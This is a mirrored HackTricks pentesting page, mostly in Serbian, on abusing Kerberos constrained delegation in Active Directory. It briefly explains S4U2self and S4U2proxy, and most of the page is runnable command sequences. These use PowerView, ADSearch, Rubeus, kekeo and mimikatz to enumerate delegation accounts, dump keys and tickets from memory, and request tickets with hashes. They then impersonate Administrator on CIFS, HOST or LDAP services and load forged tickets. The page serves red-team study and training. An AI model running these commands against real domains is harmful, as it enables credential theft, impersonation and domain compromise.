mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
118 lines
7.4 KiB
Markdown
118 lines
7.4 KiB
Markdown
# Constrained Delegation
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Constrained Delegation
|
||
|
||
Korišćenjem ovoga, administrator domena može **dozvoliti** računaru da **imitira korisnika ili računar** prema **servisu** mašine.
|
||
|
||
* **Servis za korisnika da se sam (**_**S4U2self**_**):** Ako **račun servis** ima _userAccountControl_ vrednost koja sadrži [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D), onda može dobiti TGS za sebe (servis) u ime bilo kog drugog korisnika.
|
||
* **Servis za korisnika da proxy(**_**S4U2proxy**_**):** **Račun servis** može dobiti TGS u ime bilo kog korisnika za servis postavljen u **msDS-AllowedToDelegateTo.** Da bi to uradio, prvo mu je potreban TGS od tog korisnika za sebe, ali može koristiti S4U2self da dobije taj TGS pre nego što zatraži drugi.
|
||
|
||
**Napomena**: Ako je korisnik označen kao ‘_Račun je osetljiv i ne može se delegirati_’ u AD, nećete **moći da imitirate** njih.
|
||
|
||
To znači da ako **kompromitujete hash servisa** možete **imitirati korisnike** i dobiti **pristup** u njihovo ime do **konfigurisane usluge** (moguća **privesc**).
|
||
|
||
Štaviše, **nećete imati samo pristup usluzi koju korisnik može imitirati, već i bilo kojoj usluzi** jer se SPN (ime usluge koja se zahteva) ne proverava, samo privilegije. Stoga, ako imate pristup **CIFS servisu** možete takođe imati pristup **HOST servisu** koristeći `/altservice` flag u Rubeus-u.
|
||
|
||
Takođe, **pristup LDAP servisu na DC**, je ono što je potrebno za eksploataciju **DCSync**.
|
||
|
||
{% code title="Enumerate" %}
|
||
```bash
|
||
# Powerview
|
||
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
|
||
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
|
||
|
||
#ADSearch
|
||
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="Dobij TGT" %}
|
||
```bash
|
||
# The first step is to get a TGT of the service that can impersonate others
|
||
## If you are SYSTEM in the server, you might take it from memory
|
||
.\Rubeus.exe triage
|
||
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
|
||
|
||
# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
|
||
## Get AES/RC4 with mimikatz
|
||
mimikatz sekurlsa::ekeys
|
||
|
||
## Request with aes
|
||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
|
||
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
|
||
|
||
# Request with RC4
|
||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
||
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
|
||
```
|
||
{% endcode %}
|
||
|
||
{% hint style="warning" %}
|
||
Postoje **drugi načini za dobijanje TGT karte** ili **RC4** ili **AES256** bez da budete SYSTEM na računaru, kao što su Printer Bug i nekontrolisana delegacija, NTLM preusmeravanje i zloupotreba Active Directory Certificate Service.
|
||
|
||
**Samo posedujući tu TGT kartu (ili heš) možete izvršiti ovaj napad bez kompromitovanja celog računara.**
|
||
{% endhint %}
|
||
|
||
{% code title="Using Rubeus" %}
|
||
```bash
|
||
#Obtain a TGS of the Administrator user to self
|
||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
|
||
|
||
#Obtain service TGS impersonating Administrator (CIFS)
|
||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
|
||
|
||
#Impersonate Administrator on different service (HOST)
|
||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
|
||
|
||
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
|
||
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
|
||
|
||
#Load ticket in memory
|
||
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="kekeo + Mimikatz" %}
|
||
```bash
|
||
#Obtain a TGT for the Constained allowed user
|
||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
||
|
||
#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
|
||
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
|
||
|
||
#Load the TGS in memory
|
||
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
|
||
```
|
||
{% endcode %}
|
||
|
||
[**Više informacija na ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
|
||
|
||
{% hint style="success" %}
|
||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Podržite HackTricks</summary>
|
||
|
||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
||
</details>
|
||
{% endhint %}
|